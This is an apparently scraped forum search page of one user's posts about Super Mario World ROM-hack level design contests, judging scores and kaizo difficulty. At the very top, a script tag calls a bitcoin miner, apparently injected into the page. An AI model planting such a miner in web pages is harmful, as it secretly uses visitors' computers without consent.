<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitypge projectmario fan games galaxy

Search found 195 matches

Go to advanced search

by idol
1 week ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Today, Twice
Replies: 231
Views: 9555

Re: Vanilla Level Design Contest 11 -- Add a plus in there and you get two

Wait a moment. Author of Mushroom Langs didn't use baserom and you would like to disqualify him? judges reserve the right to disqualify entries if they break the rules. the rules of vldc11 specifically stated that usage of the baserom was required. its been explained thoroughly as to why it's requi...
by idol
2 weeks ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Today, Twice
Replies: 231
Views: 9555

Re: Vanilla Level Design Contest 11 -- A one and another

to be fair, the ethos of kaizo is already something many romhack players already accept: it relies on hard setups that can only be completed in but one singular way. chances are if youve played a jump team project or the top levels of recent vldcs, you'll see that same idea put into clockwork setups...
by idol
2 weeks ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Today, Twice
Replies: 231
Views: 9555

Re: Vanilla Level Design Contest 11 -- A one and another

also The problem with Kaizo in particular is that Kaizo is by its nature considered bad level design by a majority of players. maybe 5 years ago, but if you take a look at the hacks hosted on smwc - especially the ones that end up in our waiting section, many of them are kaizo. in fact, we even have...
by idol
2 weeks ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Today, Twice
Replies: 231
Views: 9555

Re: Vanilla Level Design Contest 11 -- A one and another

it's important for judges to play a level fairly and legitimately in order to be able to properly critique it. really, mountan should've been disqualified by the sheer fact that most of the judges had to use savestates to get through it. the problem with kaizo in regular ldcs is less that it's very ...
by idol
2 weeks ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Today, Twice
Replies: 231
Views: 9555

Re: Vanilla Level Design Contest 11 -- One of the tougher lines in picross

to be fair, that author also made a vldcx level that was one screen and was just jumping on a glitched wiggler to a goal.

if you played that first, oh you would've been so fucked thinking you were safe with his vldc11.
by idol
4 weeks ago
Forum: let's play
Topic: Vanilla Level Design Contest 11 -- Today, Twice
Replies: 231
Views: 9555

Re: Vanilla Level Design Contest 11 -- Second half of a convenience store

This meant that any levels about exploration, puzzles or even ones that had challenges that you could try again immediately after failing via reset doors and many more would be discriminated by this ruleset. fuck puzzles After rejoining staff in 2017 and VLDC as a contest taking 2018 off for a vari...
by idol
2 months ago
Forum: let's play
Topic: COMING UP NEXT
Replies: 1001
Views: 90365

Re: COMING UP NEXT

dunno if news caught here but smwcentral wont be doing the vldc9-esque vldc collabs anymore until further notice due to a myriad of reasons. with this in mind, is it safe to assume the yearly tradition of playing through the vldcs / etc has come to an end? i know you were waiting on vldcx which neve...
by idol
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 53295

Re: JUMP logₑ(2)/P(1,2,1,(1)) - Half a jump is still a jump

thanks for the love for umbrella, my boys. it was my first planned contribution to jumphalf, but ended up being the last one submitted i think? sans the two levels i did that didn't make it in. graphics and aesthetics were done by me - they're inspired by .flow. sixcorby jumped in to help build the ...
by idol
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 53295

Re: JUMP arg(1+(√(-1)))*(2/π) - Half a jump is still a jump

I don't care how good you are or claim to be, if people are struggling with your level that IS in part on you as a developer. Especially in a game that's supposed to be more approachable. Considering the hell-nature of so many Mario hacks, which is the very reason many avoid them, this statement is...
by idol
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 53295

Re: JUMP ϕ(14)/ϕ(13) - Half a jump is still a jump

i haven't read any of the past few pages and im not gonna bother but basically: jumphalf is just supposed to be a creative and interesting hack. it's more accessible than jump, but that doesn't mean it's super accessible to everyone. it has a difficulty curve that ramps up and when it hits, it hits....
by idol
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 53295

Re: JUMP ϕ(14)/ϕ(13) - Half a jump is still a jump

is all of this vitriol and hate what jumper sacrificed himself for
by idol
8 months ago
Forum: let's play
Topic: ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ - World Soccer Winning Eleven 5: Final Frog - 9
Replies: 175
Views: 7539

Re: ᘛ⁐̤ᕐᐷ - Super Furcon Sundance for Nintendo 3DS and Wii U - 5

butch cassidy was another one of my levels and it was just filler to break between the more intense puzzle levels. katrina had a train gfx set for c3 that was unused, and pinci had a simpsons port that was unused. i just combined both and filled it with bullshit furcon was named sort of by me. i had...
by idol
8 months ago
Forum: let's play
Topic: ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ - World Soccer Winning Eleven 5: Final Frog - 9
Replies: 175
Views: 7539

Re: ᘛ⁐̤ᕐᐷ - My Garbage Baller Wakes Clinic UP at 3am Every Heart - 3

c3 is a biannual four day event in which the community of smwcentral comes together in order to release resources, hacks, and intermingle. mice was centralized around this c3. each c3 in the past few c3s, erik has released a slew of sprites - here's an example from our last c3. we went into creating...
by idol
8 months ago
Forum: let's play
Topic: ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ ᘛ⁐̤ᕐᐷ - World Soccer Winning Eleven 5: Final Frog - 9
Replies: 175
Views: 7539

Re: stick clouds in my chainsaw and then beat my chainsaw in with a mountain and let them back out - 1

this hack is the second time ive interrupted jumphalf development by "leading" a team hack (i came up and started leading yump, but lazy did all the big hard work on that one). the idea of this hack came very spur of the moment and it just grew bigger and bigger from there. i also ended up making th...
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: cldc 2018 - layers

lightest Placement: 1 Codename: lightest Author: idol & Katrina Judge Comments: FPzero: Fun Factor: 29/30 Presentation: 19/20 Creativity: 10/10 Total: 58/60 Comments: The bad first: Difficulty was kind of high and with only five lives it was very easy to game over and have to redo the level all ove...
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: chocolate hack design contest - ten shots per screen

VERY VANILLA CALAMITOUS CAT CANNON CANYON CAKEWALK Placement: 2 Codename: harvey Author: FrozenQuills Judge Comments: FPzero: Fun Factor: 26/30 Presentation: 17/20 Creativity: 8/10 Total: 51/60 Comments: Surprisingly, the level had basically everything the name said it would. Seriously though, thos...
by idol
1 year ago
Forum: the gazebo
Topic: The Twitter Bread
Replies: 30074
Views: 2000658

Re: Clever, witty, pun-based thread title!

no one who lives in quebec is good
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: chocolate hack design contest - ten shots per screen

Galactic Adventure Placement: 3 Codename: space Author: Sariel & Wakana Judge Comments: FPzero: Fun Factor: 25/30 Presentation: 17/20 Creativity: 10/10 Total: 52/60 Comments: This level is extremely cool...but it's really more like 4 or 5 levels all in one, isn't it? I'll come back to that in a bit...
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: (cld—c18) - '—'

GROWING FIELDS Placement: 18 Codename: birth Author: toad64 Judge Comments: FPzero: Fun Factor: 22/30 Presentation: 14/20 Creativity: 6/10 Total: 42/60 Comments: This was a nice little semi-vanilla romp featuring the Growing Block. I think they were used well enough, but there were a few instances ...
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: chocolate *** design contest 2018 - propeller

Choo Choo - REDRUM Placement: 14 Codename: sundance Author: FedoraFriday Judge Comments: FPzero: Fun Factor: 19/30 Presentation: 14/20 Creativity: 7/10 Total: 40/60 Comments: This level's interesting because its two halves are linked via plot but not at all in terms of gameplay. Honestly, for as li...
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: cldc thread late update 2018 - mushroom inside an egg

I'm hoping that third place won't turn out to be one of those "five levels in one" type dealies that were pretty prevalent in earlier contests. lol anyways it was "well-made" enough to net third place, so take it as you will. i have my resignations, but i didn't exactly judge this contest. the othe...
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: cldc thread late update 2018 - mushroom inside an egg

gonna go ahead and spoil stuff: the third place level is the meatiest of the three, and i think you're gonna get a really silly long video if you try to pair third place with anything. it's Long.

and then yeah, at that point should just have second and first place be their own videos.
by idol
1 year ago
Forum: let's play
Topic: cldc 2018 - layers
Replies: 312
Views: 22338

Re: cldc thread late update 2018 - mushroom inside an egg

Bullet Ship Placement: 30 Codename: weaponized Author: ghyn Judge Comments: FPzero: Fun Factor: 16/30 Presentation: 12/20 Creativity: 7/10 Total: 35/60 Comments: The boss kinda sucked, I'm sorry. He moves too fast, spits projectiles all over, you're stuck on moving platforms that go up and down and...

Go to advanced search